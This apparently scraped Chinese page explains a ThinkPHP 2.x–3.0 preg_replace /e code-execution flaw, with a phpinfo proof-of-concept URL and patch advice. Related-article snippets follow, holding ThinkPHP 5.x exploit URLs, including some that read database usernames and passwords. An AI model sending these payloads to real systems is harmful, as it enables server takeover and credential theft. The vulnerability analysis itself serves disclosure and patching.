ThinkPHP 框架2.1,2.2和3.0版本URL命令执行漏洞

在开启了Lite模式后,在ThinkPHP/extend/Mode/Lite/Dispatcher.class.php中第73行:

// 解析剩余的URL参数 $res = preg_replace(‘@(\w+)‘.$depr.‘([^‘.$depr.‘\/]+)@e‘, ‘$var[\‘\\1\‘]=“\\2\;”‘, implode($depr,$paths));

有两点:一是加入了preg_replace使用了e修饰符,二是‘$var[\‘\\1\‘]="\\2\;"‘中双引号中的PHP代码可以直接被执行。

比如:

http://localhost/index.php/Index/index/name/$%[email protected]%28%29%7D

就会执行phpinfo()函数,打印出phpinfo页。

预防:

官方已经给出了补丁,也可以自行将双引号改成单引号防止PHP代码被解析。

时间: 2024-10-25 19:37:12

ThinkPHP 框架2.1,2.2和3.0版本URL命令执行漏洞的相关文章

ThinkPHP 5.0.0-5.0.23 远程代码执行漏洞利用

漏洞影响范围: 5.0.0-5.0.23 官方已在5.0.24版本修复该漏洞.测试Payload: /public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo() /index.php?s=index/think\app/invokefunction&function=call_user_func_array

开源协议和ThinkPHP框架

1. 开源协议 GPL Apache MIT 2. 框架和原生php有什么区别? PHP框架的优点和缺点? 应用开发?应用架构?应用设计?实际需求? 3. ThinkPHP框架 a. 国产,基于Apache 2.0 协议开源,对商业用途友好. b. 基于PHP 5.3及以上版本(一系列新特性,如命名空间). c. 核心可定制(应用模式和CBD架构). d. 编译机制(压缩合并,模板编译,和Java的编译不是一个概念). 4. 常见代码 array(123){ ["APP_USER_NAMESPA

Thinkphp V5.X 远程代码执行漏洞 - POC(搬运)

文章来源:lsh4ck's Blog 原文链接: https://www.77169.com/html/237165.html Thinkphp 5.0.22   http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password http:

ThinkPHP 框架模型

本文和大家分享的主要是ThinkPHP 框架模型相关内容,一起来看看吧,希望对大家学习php有所帮助. 1 在MainController.class.php 控制器中有一个test的方法,同时还有一个deng的方法,我想在test方法中使用deng方法 表示为 <?phpnamespace Home\Controller;use Think\Controller;class MainController extends controller{ public function test() {

ThinkPHP框架系统源码解析——URL路由解析

1 一.ThinkPHP框架目录 2 /test/index.php //项目入口文件 3 /ThinkPHP/ThinkPHP.php //框架入口文件 4 5 Common 框架公共文件目录(函数库) 6 ThinkPHP/Common/runtime.php //框架初次运行文件 7 ThinkPHP/Common/common.php //框架基础函数库 8 ThinkPHP/Common/functions.php //标准模式公共函数库 9 10 Conf 框架配置文件目录 11 T

ThinkPHP框架里隐藏index.php总结

本文所写的配置在ThinkPHP3.2.2上测试过.按理也兼容其它版本.如果你正在学习ThinkPHP框架,一定能有所收获. 首先修改配置文件: 'URL_CASE_INSENSITIVE'  =>  true,   // 默认false 表示URL区分大小写 true则表示不区分大小写'URL_MODEL'             =>  2,       // URL访问模式,可选参数0.1.2.3,代表以下四种模式: // 0 (普通模式); 1 (PATHINFO 模式); 2 (RE

ThinkPHP框架快速开发网站

使用ThinkPHP框架快速搭建网站 这一周一直忙于做实验室的网站,基本功能算是完成了.比较有收获的是大概了解了ThinkPHP框架.写一些东西留作纪念吧.如果对于同样是Web方面新手的你有一丝丝帮助,那就更好了挖. 以前用PHP做过一个很蹩脚的网站,为什么这么说呢,因为写的全是死代码.做完以后觉得实在是累,前端要div+css,js 后端要php,mysql,这么多东西要弄,十分头疼.所以,在接到做网站的任务后,我第一时间想到一定要使用开发框架去做,绝不能跟以前一样那么累了. 我选择的是PHP

关于Thinkphp框架模型应用过程中出现的错误Undefined class constant MYSQL_ATTR_INIT_COMMAND

今天在用thinkphp框架做网站的时候,在调用model模型是意外发生Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42S02]错误, 下面是我百度的结果,大部分说解决问题可以分为以下两类: 1. windows下iis7.5+php5.4.11(FastCGI) 缺少pdo,编辑php.ini 取消注释: extension=php_pdo_mysql.dll 重启iis PHP数据对象(PDO)扩

ThinkPHP框架的部署

1.将ThinkPHP框架的框架文件放到想要放置的地方,与创建的应用文件夹同级 2.vhost文件中设置虚拟目录 3.在hosts文件中配置 4.在应用目录中创建入口文件index.php 5.在入口文件中引入框架 6.从浏览器访问入口文件 7.应用中自动生成相关文件